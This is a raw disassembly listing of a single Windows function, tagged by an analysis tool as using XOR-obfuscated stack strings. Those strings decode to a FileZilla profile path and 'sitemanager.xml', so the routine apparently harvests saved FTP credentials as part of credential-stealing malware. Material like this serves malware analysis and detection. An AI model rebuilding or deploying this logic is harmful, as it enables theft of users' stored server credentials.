Function at 0x140049d18
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov r14, rcx
xor r15d, r15d
mov al, 8
mov dword [rbp - 0x58], 0x5a0008
mov dword [rbp - 0x54], 0x690067
mov dword [rbp - 0x50], 0x610065
mov dword [rbp - 0x4c], 0x6f0066
lea r12d, [r15 + 0x27]
mov dword [rbp - 0x48], 0x4e0027
mov dword [rbp - 0x44], 0x640061
mov dword [rbp - 0x40], 0x52006d
lea ebx, [r15 + 0x52]
mov dword [rbp - 0x3c], 0x640061
mov dword [rbp - 0x38], 0x690064
mov word [rbp - 0x34], r15w
mov ecx, r15d
movsx eax, al
xor word [rbp + rcx*2 - 0x56], ax
inc rcx
cmp rcx, 0x11
jae 0x140049da9
mov al, byte [rbp - 0x58]
jmp 0x140049d93
mov word [rbp - 0x34], r15w
mov qword [rbp - 0x10], r15
mov qword [rbp], r15
mov edi, 7
mov qword [rbp + 8], rdi
mov word [rbp - 0x10], r15w
lea rdx, [rbp - 0x56]
lea rcx, [rbp - 0x10]
call fcn.140002cdc
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x70]
call fcn.140002e0c
nop
mov r13d, 0x1000
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x140049e21
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, r13
jb 0x140049e1c
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a4f1
call fcn.140173310
mov qword [rbp], r15
mov qword [rbp + 8], rdi
mov word [rbp - 0x10], r15w
mov dword [rsp + 0x60], 0x210052
mov dword [rsp + 0x64], 0x26003b
mov dword [rsp + 0x68], 0x3f0037
mov dword [rsp + 0x6c], 0x3c0033
mov dword [rsp + 0x70], 0x350033
mov dword [rsp + 0x74], 0x200037
mov dword [rsp + 0x78], 0x2a007c
mov dword [rsp + 0x7c], 0x3e003f
mov word [rbp - 0x80], r15w
mov rcx, r15
movsx eax, bl
xor word [rsp + rcx*2 + 0x62], ax
inc rcx
cmp rcx, 0xf
jae 0x140049e8d
mov bl, byte [rsp + 0x60]
jmp 0x140049e76
mov word [rbp - 0x80], r15w
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], rdi
mov word [rbp - 0x30], r15w
lea rdx, [rsp + 0x62]
lea rcx, [rbp - 0x30]
call fcn.140002cdc
nop
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x58]
call fcn.140003828
nop
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.1400493b0
nop
lea rcx, [rbp - 0x58]
call fcn.14000299c
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x140049f16
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r13
jb 0x140049f11
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a4f7
call fcn.140173310
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], rdi
mov word [rbp - 0x30], r15w
mov al, reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x40], 0x540032
mov dword [rsp + 0x44], 0x5e005b
mov dword [rsp + 0x48], 0x480057
mov dword [rsp + 0x4c], 0x5e005b
mov dword [rsp + 0x50], 0x53005e
mov dword [rsp + 0x54], 0x46001c
mov dword [rsp + 0x58], 0x46004a
mov word [rsp + 0x5c], r15w
mov rcx, r15
movsx eax, al
xor word [rsp + rcx*2 + 0x42], ax
inc rcx
cmp rcx, 0xd
jae 0x140049f7d
mov al, byte [rsp + 0x40]
jmp 0x140049f66
mov word [rsp + 0x5c], r15w
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], rdi
mov word [rbp - 0x78], r15w
lea rdx, [rsp + 0x42]
lea rcx, [rbp - 0x78]
call fcn.140002cdc
nop
lea rdx, [rbp - 0x78]
mov rcx, r14
call fcn.140002d5c
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 8
jb 0x140049feb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, r13
jb 0x140049fe6
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a4fd
call fcn.140173310
mov qword [rbp + 0x50], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
lea rdx, [0x14021d020]
lea rcx, [rbp + 0x50]
call fcn.140005338
nop
movdqa xmm0, xmmword [0x1401f5850]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x4c4c5e4f
mov word [rsp + 0x54], gethostname
mov rcx, r15
mov al, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x41], al
inc rcx
cmp rcx, 0x14
jb 0x14004a028
mov byte [rsp + 0x55], r15b
lea rax, [rsp + 0x41]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x14004a047
lea rdx, [rsp + 0x41]
lea rcx, [rbp + 0x50]
call fcn.1400052c0
mov rsi, qword [rbp - 0x10]
mov rdi, qword [rbp - 8]
cmp rsi, rdi
je 0x14004a43f
lea rbx, [rsi + 0x38]
mov r12d, reloc.WS2_32.dll_recv
lea rdx, reloc.WS2_32.dll_htons
mov rcx, qword [rbx - 0x28]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 1
jb 0x14004a4eb
lea r8, [rbx - 0x38]
mov r9, r8
cmp qword [rbx - 0x20], r12
jb 0x14004a0ab
mov r9, qword [r8]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
mov dl, byte [rbp + 0xd8]
lea rcx, [rbp - 0x58]
call fcn.14002fb6c
nop
lea rdx, [rbx - 0x18]
cmp qword [rbx], r12
jb 0x14004a0da
mov rdx, qword [rdx]
mov r8, qword [rbx - 8]
lea rcx, [rbp - 0x58]
call fcn.1400052c0
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r15b
mov r8d, 1
lea rdx, reloc.WS2_32.dll_htons
lea rcx, [rbp - 0x78]
call fcn.1400052c0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r15b
lea rdx, [rbx + 8]
cmp qword [rbx + 0x20], r12
jb 0x14004a15e
mov rdx, qword [rdx]
mov r8, qword [rbx + 0x18]
lea rcx, [rbp + 0x30]
call fcn.1400052c0
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r15b
mov r8d, 1
lea rdx, reloc.WS2_32.dll_htons
lea rcx, [rbp + 0x10]
call fcn.1400052c0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r15b
lea rdx, [rbx + 0x28]
cmp qword [rbx + 0x40], r12
jb 0x14004a1e7
mov rdx, qword [rdx]
mov r8, qword [rbx + 0x38]
lea rcx, [rsp + 0x40]
call fcn.1400052c0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r15b
mov r8d, 1
lea rdx, [0x1401e5cd4]
lea rcx, [rbp - 0x30]
call fcn.1400052c0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r15b
lea rdx, [rsp + 0x60]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, r12
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x50]
call fcn.1400052c0
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, r12
jb 0x14004a2bc
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r13
jb 0x14004a2b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a509
call fcn.140173310
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, r12
jb 0x14004a2f2
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r13
jb 0x14004a2ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a50f
call fcn.140173310
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], r15b
mov rdx, qword [rsp + 0x58]
cmp rdx, r12
jb 0x14004a33a
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, r13
jb 0x14004a335
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a515
call fcn.140173310
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], r15b
mov rdx, qword [rbp + 0x28]
cmp rdx, r12
jb 0x14004a383
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, r13
jb 0x14004a37e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a51b
call fcn.140173310
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], r15b
mov rdx, qword [rbp + 0x48]
cmp rdx, r12
jb 0x14004a3c9
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, r13
jb 0x14004a3c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a521
call fcn.140173310
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], r15b
mov rdx, qword [rbp - 0x60]
cmp rdx, r12
jb 0x14004a40f
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, r13
jb 0x14004a40a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a527
call fcn.140173310
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], r15b
lea rcx, [rbp - 0x58]
call fcn.14000511c
sub rbx, 0xffffffffffffff80
lea rax, [rbx - 0x38]
cmp rax, rdi
jne 0x14004a079
mov r12d, Ordinal_41
sub rdi, rsi
sar rdi, 7
test rdi, rdi
je 0x14004a4aa
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], r15
mov rdx, r14
lea rcx, [rbp - 0x78]
call fcn.140003f34
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x78]
call fcn.140059680
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 8
jb 0x14004a4aa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, r13
jb 0x14004a4a4
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a503
call fcn.140173310
nop
lea rcx, [rbp + 0x50]
call fcn.14000511c
nop
lea rcx, [rbp - 0x10]
call fcn.14004a5d0
nop
lea rcx, [rbp + 0x70]
call fcn.14000f320
nop
mov rcx, r14
call fcn.14000299c
mov rbx, qword [rsp + 0x1e0]
add rsp, 0x190
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140002ca0
nop
call fcn.14018273c
nop
call fcn.14018273c
int3
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
int3